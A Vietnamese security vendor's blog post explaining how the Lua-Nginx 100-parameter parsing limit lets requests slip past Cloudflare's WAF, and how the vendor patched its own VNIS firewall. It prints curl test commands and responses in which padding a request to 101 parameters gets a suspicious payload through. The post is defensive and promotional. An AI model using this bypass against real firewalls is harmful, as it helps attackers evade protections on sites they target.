Vào ngày 25 tháng 10 năm 2018, một nhà nghiên cứu từ Viện bảo mật dữ liệu mở (ODS - Open Data Security) tên là Daniel Farina đã công bố một báo cáo. Công khai việc anh ta đã tìm thấy một lỗ hổng bảo mật phần mềm máy chủ (Nginx) trên nền tảng WAF Cloudflare, lỗ hổng này có thể khiến tường lửa (WAF - Web Application Firewall) không hoạt động đúng cách, tạo điều kiện cho tin tặc (hackers) mở các cuộc tấn công mạng.
Bài báo cáo này đã khiến VNETWORK phải để ý, vì chúng tôi cũng đang sử dụng phần mềm máy chủ Nginx để phát triển tường lửa Cloud WAF với tên gọi là VNIS (VNETWORK Internet Security).
Chính xác là lỗ hổng nào đã xuất hiện?
Ngôn ngữ lập trình Lua trong Nginx có một giới hạn về khả năng truy cập vào tất cả thông tin đến từ một yêu cầu, nó có thể được tóm gọn như sau: Tối đa 100 tham số (so sánh thông số) yêu cầu được phân tích cú pháp theo mặc định (bao gồm cả những tham số có cùng tên) và các đối số yêu cầu bổ sung sẽ bị loại bỏ một cách âm thầm để đề phòng các cuộc tấn công từ chối dịch vụ.
Cụ thể hơn, bất kì tường lửa nào phát triển trên Nginx bởi ngôn ngữ lập trình Lua, thì sẽ có một lỗ hổng về tham số xuất hiện ở tường lửa. Và WAF Cloudflare đã bị một lỗ hổng như vậy.
Vậy tại sao VNIS phải vá lại lỗ hổng này?
Đội ngũ của VNETWORK đã không đợi tới khi Cloudflare sửa lại lỗ hổng WAF Cloudflare này, lập trình viên của chúng tôi đã chặn các yêu cầu độc hại đến từ lỗ hổng Lua-Nginx bằng các bản cập nhật mới nhằm bảo vệ cho người dùng của VNIS.
Và đã thành công
Các lập trình viên VNETWORK đã thực hiện một số thử nghiệm như sau:
Lỗ hổng trước khi được vá
Thử nghiệm với một tham số:
“ `curl-i ‘127.0.0.1/?txtSearch=<%21-%21cmd’-H “Host:
demo.1testfire.net”
HTTP/1.1 403 Forbidden
Server: ngix
Date: Thu,13 Dec 2018 07:08:05 GMT
Content-Type: text/html
Transfer-Encoding: chucked
Connection: keep-alive
Cache-Control: no-cache
<!DOCTYPE html>< html lang=”en”>< head >< meta charset=”
UTF-8” ><title >Error Page</ title >< link rel =”stylesheet” type=”
text/css”href=”_assets/css/style.css”>< link href=”
https://fronts.googleapis.com/css?family=Raleway”rel=”stylesheet”
></head><body><div class=”wrapper”>< h1>ACCESS
DENIED<span>Your request to access demo.1testfire.net was denied</span></h1><p class =”error_info”><span>Incident ID
</span>31c75a46e100079d1449f5e4db85d6de</p><p class=”error_info”><span>Your IP </span>127.0.0.1</p><img src=”__assets/img/process_img.png”><div class=”next_Step”><p><span>What happened ?</span>The website you are trying to access is protected against cyber attacks. Your recent action or behavior was flagged as suspicious. Further access to the web server has been denied.</p> <p><span>What can I do ?</span>Please try again in a few minutes. Or, you can directly contact the site owner within Event ID indicated and a description of what you were doing before you were denied access.</p></div><span class=”copyright”>Powered by mlytics.com</span></div></body></html>“`
Thử nghiệm với a0-a9, 10*10, tổng cộng 100 tham số, sau đó thêm tham số thứ 101 vào.
“`curl -i ‘127.0.0.1/?a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1
=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3
=3&a3=3&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5
=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7
=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9
=9&a9=9&a9=9&a9=9&a9=9&<%21–%23cmd’ -H “Host: demo.1testfire.net”HTTP/1.1 200 OK
Server: Nginx
Date: Thu, 13 Dec 2018 07:20:29 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=2vb4y5453apg1cvpakfjigip; path=/; HttpOnly
Set-Cookie: amSessionId=6207394219; path=/
X-Powered-By: ASP.NET
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en” >
<head id=”_ctl0__ctl0_head”><title>……………….“`
Như đã được dự đoán, khi yêu cầu được gửi trong phạm vi 100 tham số rất dễ dàng bị chặn bởi tường lửa Cloudflare. Nhưng khi tham số vượt qua 100 và đạt tới tham số thứ 101, tường lửa Cloudflare trở nên bị động và không có khả năng ngăn chặn.
Lỗ hổng sau khi được vá
Thử nghiệm với: 1 tham số
“`curl -i ‘127.0.0.1/?txtSearch=<%21–%23cmd’ -H “Host: demo.1testfire.net”
HTTP/1.1 403 Forbidden
Server: nginx
Date: Thu, 13 Dec 2018 07:08:05 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache
<!DOCTYPE html><html lang=”en”><head><meta charset=”UTF-8″><title>Error Page</title><link rel=”stylesheet” type=”text/css” href=”__assets/css/style.css”><linkhref=”https://fonts.googleapis.com/css?family=Raleway”rel=”stylesheet”></head><body><divclass=”wrapper”><h1>ACCESS DENIED<span>Your request to access demo.1testfire.net was denied</span></h1><p class=”error_info”><span>Incident ID </span>31c75a46e100079d1449f5e4db85d6de</p><p class=”error_info”><span>Your IP </span>127.0.0.1</p><img src=”__assets/img/process_img.png”><div class=”next_Step”><p><span>What happened ?</span>The website you are trying to access is protected against cyber attacks. Your recent action or behavior was flagged as suspicious. Further access to the web server has been denied.</p> <p><span>What can I do ?</span>Please try again in a few minutes. Or, you can directly contact the site owner within Event ID indicated and a description of what you were doing before you were denied access.</p></div><span class=”copyright”>Powered by mlytics.com</span></div></body></html>“`
Thử nghiệm với a0-a9,10*10 với 100 tham số và thêm tham số thứ 101.
“`curl-i‘127.0.0.1/?a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a0=0&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1=1&a1
=1&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a2=2&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a3=3&a4=4&a4
=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a4=4&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a5=5&a6=6&a6=6&a6=6&a6
=6&a6=6&a6=6&a6=6&a6=6&a6=6&a6=6&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a7=7&a8=8&a8=8&a8=8&a8=8&a8=8&a8
=8&a8=8&a8=8&a8=8&a8=8&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&a9=9&<%21–%23cmd’ -H “Host: demo.1testfire.net”
HTTP/1.1 403 Forbidden
Server: nginx
Date: Thu, 13 Dec 2018 07:18:51 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache
<!DOCTYPE html><html lang=”en”><head><meta charset=”UTF-8″><title>Error Page</title><link rel=”stylesheet” type=”text/css” href=”__assets/css/style.css”><linkhref=”https://fonts.googleapis.com/css?family=Raleway”rel=”stylesheet”></head><body><divclass=”wrapper”><h1>ACCESS DENIED<span>Your request to access demo.1testfire.net was denied</span></h1><p class=”error_info”><span>Incident ID </span>-</p><p class=”error_info”><span>Your IP </span></p><img src=”__assets/img/process_img.png”><div class=”next_Step”><p><span>What happened ?</span>The website you are trying to access is protected against cyber attacks. Your recent action or behavior was flagged as suspicious. Further access to the web server has been denied.</p> <p><span>What can I do ?</span>Please try again in a few minutes. Or, you can directly contact the site owner within Event ID indicated and a description of what you were doing before you were denied access.</p></div><span class=”copyright”>Poweredbymlytics.com</span></div></body></html>“`
Với bản cập nhật khắc phục lỗ hổng của VNIS, điều này sẽ đảm bảo được sự an toàn tối đa cho người dùng.
Hiểu thêm về VNIS
VNIS là một nền tảng cung cấp các giải pháp bảo mật tốt nhất và được tích hợp nhiều tính năng giúp website của doanh nghiệp không chỉ được bảo mật mà còn được tối ưu tốc độ truyền tải, điều này cho phép người dùng sử dụng trang web sẽ có một trải nghiệm được tối ưu.
Để được trải nghiệm thử, tìm hiểu thêm thông tin về dịch vụ chống khai thác lỗ hổng Web/ App, các doanh nghiệp có thể để lại thông tin liên hệ bên dưới hoặc gọi vào hotline: (028) 7306 8789 của chúng tôi.
Nếu bạn đang tìm hiểu về OWASP Top 10 2021 thì đây là bài viết dành cho bạn. Từ thống kê mới nhất này, bạn có thể hiểu rõ và tránh việc bị tin tặc (hacker) lợi dụng tấn công nhằm chiếm quyền kiểm soát, đánh cắp dữ liệu quan trọng được lưu trữ trên hệ thống Web Server. Hãy cùng VNETWORK tìm hiểu về O
Theo báo cáo của Ame Group, có đến 80% doanh nghiệp mất hàng tuần để tìm ra một lỗ hổng bảo mật xuất hiện trên trang web của họ. Các lỗ hổng này gián tiếp giúp tin tặc (hacker) có thể lợi dụng để gây hại cho doanh nghiệp. Với các hậu quả không thể lường trước như đánh cắp thông tin dữ liệu, tiết lộ
Trong lĩnh vực bảo mật an ninh mạng, lỗ hổng web là cửa ngõ để tin tặc khai thác và thực hiện những cuộc tấn công mạng nhằm gây ra những tổn thất nặng nề cho doanh nghiệp. Vì thế, việc chống lại khai thác lỗ hổng web/App là điều cần thiết để đảm bảo an toàn cho doanh nghiệp. Cùng VNETWORK tìm hiểu k